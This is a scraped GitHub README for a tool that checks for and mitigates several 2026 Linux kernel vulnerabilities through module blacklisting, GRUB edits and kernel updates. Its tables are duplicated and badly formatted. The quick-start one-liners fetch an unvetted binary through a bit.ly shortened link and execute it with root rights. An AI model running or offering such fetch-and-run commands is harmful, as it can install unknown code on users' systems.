attaattaatta/cve_2026_frag_family_fix
GitHub: attaattaatta/cve_2026_frag_family_fix
CVE-2026系列漏洞的检测与缓解工具
Stars: 0 | Forks: 0
# frag family 漏洞的漏洞消除软件 / frag family 漏洞的缓解工具
- 复制失败 (2026)
- 脏碎片 (2026)
- Fragnesia (2026)
## 任何 Linux 系统上运行任何 Linux 热修复 / Run any Linux hotfix on any Linux
```
b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b
```
或
```
b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b
```
# CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / Fragnesia / Dirty Frag 缓解 (rxrpc, esp4, esp6)
## 描述
- 检查 CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 漏洞已启用的模块
- 如果可用，则提供内核更新
- 如果不可用，则禁用 `esp4, esp6, rxrpc`
- 通过 `modprobe` 阻止模块加载
- 将 `module_blacklist` 添加到 grub
- 在内核更新后自动清理热修复
- 对于 RHEL 兼容系统（AlmaLinux、Rocky、Oracle、Fedora），禁用引导加载程序规范（GRUB_ENABLE_BLSCFG=false），设置 GRUB_DEFAULT=0，并创建内核安装钩子（/etc/kernel/install.d/99-grub-update.install），在内核更新后重新生成 grub 配置，以确保下次引导时加载最新的内核
- 对于次要版本，提供并执行更新到最新次要版本的更新
## 描述
- 检查 CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 漏洞已启用的模块
- 如果可用，则提供内核更新
- 如果不可用，则禁用 `esp4, esp6, rxrpc`
- 通过 `modprobe` 阻止模块加载
- 将 `module_blacklist` 添加到 grub
- 在内核更新后自动清理热修复
- 对于 RHEL 兼容系统（AlmaLinux、Rocky、Oracle、Fedora），禁用引导加载程序规范（GRUB_ENABLE_BLSCFG=false）并设置 GRUB_DEFAULT=0，然后创建内核安装钩子（/etc/kernel/install.d/99-grub-update.install），在内核更新后重新生成 grub 配置，以确保下次引导时加载最新的内核
- 对于次要版本，提供并执行更新到最新次要版本的更新。
# CVE-2026-31431 / Copy Fail 缓解 (algif_aead)
## 描述
该工具检查 **CVE-2026-31431**（预条件）漏洞，并在具有 root 权限的情况下应用缓解措施：
- 确定受保护的操作系统（包括 WSL）和内核版本组合
- 如果可用，则提供带有修复的内核更新
- 如果不可用，则禁用 `algif_aead`
- 通过 `modprobe` 阻止模块加载
- 添加 `initcall_blacklist=algif_aead_init`
- 通过 systemd 限制 `AF_ALG`
## 描述
This tool checks for **CVE-2026-31431** (pre condition) and applies mitigation (requires root):
- identifies protected combinations of OS (including WSL) and kernel versions
- offers a kernel update with a fix if available
- disables `algif_aead` if not
- blocks module loading via `modprobe`
- adds `initcall_blacklist=algif_aead_init`
- restricts `AF_ALG` via systemd
## Linux 构建 / build
```
docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"
```
## 内核更新（非热修复）可用于 / Kernel update (not hotfix) is exist for
| OS | Copy Fail
(CVE-2026-31431) | Dirty Frag
(CVE-2026-43500/43284) | Fragnesia
(CVE-2026-46300) | |----|:---:|:---:|:---:| | **Debian 10** (buster) | ❌ | ❌ | ❌ | | **Debian 11** (bullseye) | ✅ | ✅ | ✅ | | **Debian 12** (bookworm) | ✅ | ✅ | ✅ | | **Debian 13** (trixie) | ✅ | ✅ | ✅ | | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | | **Ubuntu 22.04** (jammy) | ✅ | ❌ | ❌ | | **Ubuntu 24.04** (noble) | ✅ | ✅ | ✅ | | **Ubuntu 25.04** (plucky) | ❌| ❌ | ❌ | | **Ubuntu 26.04** (resolute) | ✅ | ✅ | ✅ | | **CentOS Stream 8** | ❌ | ❌ | ❌ | | **CentOS Stream 9** | ✅ | ✅ | ❌ | | **CentOS Stream 10** | ✅ | ✅ | ❌ | | **AlmaLinux 8.10** | ✅ | ✅ | ✅ | | **AlmaLinux 9.7** | ✅ | ✅ | ✅ | | **AlmaLinux 10.1** | ✅ | ✅ | ✅ | | **Rocky Linux 8.10** | ✅ | ✅ | ✅ | | **Rocky Linux 9.7** | ✅ | ✅ | ✅ | | **Rocky Linux 10.1** | ✅ | ✅ | ✅ | | **Fedora 40** | ❌ | ❌ | ❌ | | **Fedora 41** | ❌ | ❌ | ❌ | | **Fedora 42** | ✅ | ✅ | ✅ | | **Fedora 43** | ✅ | ✅ | ✅ | | **Fedora 44** | ✅ | ✅ | ✅ | | **Oracle Linux 8.10** | ✅ | ✅ | ✅ | | **Oracle Linux 9.7** | ✅ | ✅ | ✅ | | **Oracle Linux 10.1** | ✅ | ✅ | ✅ | ## 内核更新命令 / Kernel update commands - Debian `apt update && apt install linux-image-amd64 linux-headers-amd64 -y` - Ubuntu `apt update && apt install linux-image-generic linux-headers-generic -y` - CentOS `dnf clean metadata && dnf upgrade 'kernel*' -y` - AlmaLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` - RockyLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` - Fedora `dnf clean metadata && dnf upgrade 'kernel*' -y` - OracleLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` ## 修复的最小内核版本 / Kernel fixed minimal version number | OS | Copy Fail
(CVE-2026-31431) | Dirty Frag
(CVE-2026-43284) | Fragnesia
(CVE-2026-46300) | |----|:---|:---|:---| | **Debian 10** (buster) | ❌ | ❌ | ❌ | | **Debian 11** (bullseye) | 5.10.0-41-amd64 | 5.10.0-42-amd64 | 5.10.0-43-amd64 | | **Debian 12** (bookworm) | 6.1.0-45-amd64 | 6.1.0-47-amd64 | 6.1.0-48-amd64 | | **Debian 13** (trixie) | 6.12.85+deb13-amd64 | 6.12.86+deb13-amd64 | 6.12.88+deb13-amd64 | | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | | **Ubuntu 22.04** (jammy) | 5.15.0-177-generic | ❌ | ❌ | | **Ubuntu 24.04** (noble) | 6.8.0-111-generic | 6.8.0-124-generic | 6.8.0-124-generic | | **Ubuntu 25.04** (plucky) | ❌ | ❌ | ❌ | | **Ubuntu 26.04** (resolute) | 7.0.0-15-generic | 7.0.0-22-generic | 7.0.0-22-generic | | **CentOS Stream 8** | ❌ | ❌ | ❌ | | **CentOS Stream 9** | 5.14.0-701.el9.x86_64 | 5.14.0-708.el9.x86_64 | ❌ | | **CentOS Stream 10** | 6.12.0-226.el10.x86_64 | 6.12.0-231.el10.x86_64 | ❌ | | **AlmaLinux 8.10** | 4.18.0-553.121.1.el8_10.x86_64 | 4.18.0-553.123.2.el8_10.x86_64 | 4.18.0-553.124.4.el8_10.x86_64 | | **AlmaLinux 9.7** | 5.14.0-611.49.2.el9_7.x86_64 | 5.14.0-611.54.3.el9_7.x86_64 | 5.14.0-611.54.6.el9_7.x86_64 | | **AlmaLinux 10.1** | 6.12.0-124.52.3.el10_1.x86_64 | 6.12.0-124.55.3.el10_1.x86_64 | 6.12.0-124.56.5.el10_1.x86_64 | | **Rocky Linux 8.10** | 4.18.0-553.123.1.el8_10.x86_64 | 4.18.0-553.124.1.el8_10.x86_64 | 4.18.0-553.126.1.el8_10.x86_64 | | **Rocky Linux 9.7** | 5.14.0-611.54.1.el9_7.x86_64 | 5.14.0-611.55.1.el9_7.x86_64 | 5.14.0-687.12.1.el9_8.x86_64 | | **Rocky Linux 10.1** | 6.12.0-124.55.1.el10_1.x86_64 | 6.12.0-124.56.1.el10_1.x86_64 | 6.12.0-211.16.1.el10_2.0.1.x86_64 | | **Fedora 40** | ❌ | ❌ | ❌ | | **Fedora 41** | ❌ | ❌ | ❌ | | **Fedora 42** | 6.19.14-100.fc42.x86_64 | 6.19.14-101.fc42.x86_64 | 6.19.14-108.fc42.x86_64 | | **Fedora 43** | 6.19.14-200.fc43.x86_64 | 7.0.4-100.fc43.x86_64 | 7.0.9-105.fc43.x86_64 | | **Fedora 44** | 6.19.14-300.fc44.x86_64 | 7.0.4-200.fc44.x86_64 | 7.0.9-205.fc44.x86_64 | | **Oracle Linux 8.10** | 5.15.0-319.201.4.4.el8uek.x86_64 | 5.15.0-319.201.4.6.el8uek.x86_64 | 5.15.0-320.202.8.5.el8uek.x86_64 | | **Oracle Linux 9.7** | 6.12.0-201.74.2.2.el9uek.x86_64 | 6.12.0-201.74.2.3.el9uek.x86_64 | 6.12.0-202.76.4.4.el9uek.x86_64 | | **Oracle Linux 10.1** | 6.12.0-201.74.2.2.el10uek.x86_64 | 6.12.0-201.74.2.3.el10uek.x86_64 | 6.12.0-202.76.4.4.el10uek.x86_64 |
(CVE-2026-31431) | Dirty Frag
(CVE-2026-43500/43284) | Fragnesia
(CVE-2026-46300) | |----|:---:|:---:|:---:| | **Debian 10** (buster) | ❌ | ❌ | ❌ | | **Debian 11** (bullseye) | ✅ | ✅ | ✅ | | **Debian 12** (bookworm) | ✅ | ✅ | ✅ | | **Debian 13** (trixie) | ✅ | ✅ | ✅ | | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | | **Ubuntu 22.04** (jammy) | ✅ | ❌ | ❌ | | **Ubuntu 24.04** (noble) | ✅ | ✅ | ✅ | | **Ubuntu 25.04** (plucky) | ❌| ❌ | ❌ | | **Ubuntu 26.04** (resolute) | ✅ | ✅ | ✅ | | **CentOS Stream 8** | ❌ | ❌ | ❌ | | **CentOS Stream 9** | ✅ | ✅ | ❌ | | **CentOS Stream 10** | ✅ | ✅ | ❌ | | **AlmaLinux 8.10** | ✅ | ✅ | ✅ | | **AlmaLinux 9.7** | ✅ | ✅ | ✅ | | **AlmaLinux 10.1** | ✅ | ✅ | ✅ | | **Rocky Linux 8.10** | ✅ | ✅ | ✅ | | **Rocky Linux 9.7** | ✅ | ✅ | ✅ | | **Rocky Linux 10.1** | ✅ | ✅ | ✅ | | **Fedora 40** | ❌ | ❌ | ❌ | | **Fedora 41** | ❌ | ❌ | ❌ | | **Fedora 42** | ✅ | ✅ | ✅ | | **Fedora 43** | ✅ | ✅ | ✅ | | **Fedora 44** | ✅ | ✅ | ✅ | | **Oracle Linux 8.10** | ✅ | ✅ | ✅ | | **Oracle Linux 9.7** | ✅ | ✅ | ✅ | | **Oracle Linux 10.1** | ✅ | ✅ | ✅ | ## 内核更新命令 / Kernel update commands - Debian `apt update && apt install linux-image-amd64 linux-headers-amd64 -y` - Ubuntu `apt update && apt install linux-image-generic linux-headers-generic -y` - CentOS `dnf clean metadata && dnf upgrade 'kernel*' -y` - AlmaLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` - RockyLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` - Fedora `dnf clean metadata && dnf upgrade 'kernel*' -y` - OracleLinux `dnf clean metadata && dnf upgrade 'kernel*' -y` ## 修复的最小内核版本 / Kernel fixed minimal version number | OS | Copy Fail
(CVE-2026-31431) | Dirty Frag
(CVE-2026-43284) | Fragnesia
(CVE-2026-46300) | |----|:---|:---|:---| | **Debian 10** (buster) | ❌ | ❌ | ❌ | | **Debian 11** (bullseye) | 5.10.0-41-amd64 | 5.10.0-42-amd64 | 5.10.0-43-amd64 | | **Debian 12** (bookworm) | 6.1.0-45-amd64 | 6.1.0-47-amd64 | 6.1.0-48-amd64 | | **Debian 13** (trixie) | 6.12.85+deb13-amd64 | 6.12.86+deb13-amd64 | 6.12.88+deb13-amd64 | | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | | **Ubuntu 22.04** (jammy) | 5.15.0-177-generic | ❌ | ❌ | | **Ubuntu 24.04** (noble) | 6.8.0-111-generic | 6.8.0-124-generic | 6.8.0-124-generic | | **Ubuntu 25.04** (plucky) | ❌ | ❌ | ❌ | | **Ubuntu 26.04** (resolute) | 7.0.0-15-generic | 7.0.0-22-generic | 7.0.0-22-generic | | **CentOS Stream 8** | ❌ | ❌ | ❌ | | **CentOS Stream 9** | 5.14.0-701.el9.x86_64 | 5.14.0-708.el9.x86_64 | ❌ | | **CentOS Stream 10** | 6.12.0-226.el10.x86_64 | 6.12.0-231.el10.x86_64 | ❌ | | **AlmaLinux 8.10** | 4.18.0-553.121.1.el8_10.x86_64 | 4.18.0-553.123.2.el8_10.x86_64 | 4.18.0-553.124.4.el8_10.x86_64 | | **AlmaLinux 9.7** | 5.14.0-611.49.2.el9_7.x86_64 | 5.14.0-611.54.3.el9_7.x86_64 | 5.14.0-611.54.6.el9_7.x86_64 | | **AlmaLinux 10.1** | 6.12.0-124.52.3.el10_1.x86_64 | 6.12.0-124.55.3.el10_1.x86_64 | 6.12.0-124.56.5.el10_1.x86_64 | | **Rocky Linux 8.10** | 4.18.0-553.123.1.el8_10.x86_64 | 4.18.0-553.124.1.el8_10.x86_64 | 4.18.0-553.126.1.el8_10.x86_64 | | **Rocky Linux 9.7** | 5.14.0-611.54.1.el9_7.x86_64 | 5.14.0-611.55.1.el9_7.x86_64 | 5.14.0-687.12.1.el9_8.x86_64 | | **Rocky Linux 10.1** | 6.12.0-124.55.1.el10_1.x86_64 | 6.12.0-124.56.1.el10_1.x86_64 | 6.12.0-211.16.1.el10_2.0.1.x86_64 | | **Fedora 40** | ❌ | ❌ | ❌ | | **Fedora 41** | ❌ | ❌ | ❌ | | **Fedora 42** | 6.19.14-100.fc42.x86_64 | 6.19.14-101.fc42.x86_64 | 6.19.14-108.fc42.x86_64 | | **Fedora 43** | 6.19.14-200.fc43.x86_64 | 7.0.4-100.fc43.x86_64 | 7.0.9-105.fc43.x86_64 | | **Fedora 44** | 6.19.14-300.fc44.x86_64 | 7.0.4-200.fc44.x86_64 | 7.0.9-205.fc44.x86_64 | | **Oracle Linux 8.10** | 5.15.0-319.201.4.4.el8uek.x86_64 | 5.15.0-319.201.4.6.el8uek.x86_64 | 5.15.0-320.202.8.5.el8uek.x86_64 | | **Oracle Linux 9.7** | 6.12.0-201.74.2.2.el9uek.x86_64 | 6.12.0-201.74.2.3.el9uek.x86_64 | 6.12.0-202.76.4.4.el9uek.x86_64 | | **Oracle Linux 10.1** | 6.12.0-201.74.2.2.el10uek.x86_64 | 6.12.0-201.74.2.3.el10uek.x86_64 | 6.12.0-202.76.4.4.el10uek.x86_64 |
标签：AlmaLinux, Boot Loader, CVE-2026-43284, CVE-2026-43500, CVE-2026-46300, EVTX分析, Fedora, FragFamily, GRUB配置, Hotfix, Mitigation, modprobe, Oracle, RHEL, Rocky, 内核更新, 安全防护, 安装钩子, 数字取证, 日志审计, 模块黑名单, 漏洞修复, 系统更新, 网络安全培训, 自动化脚本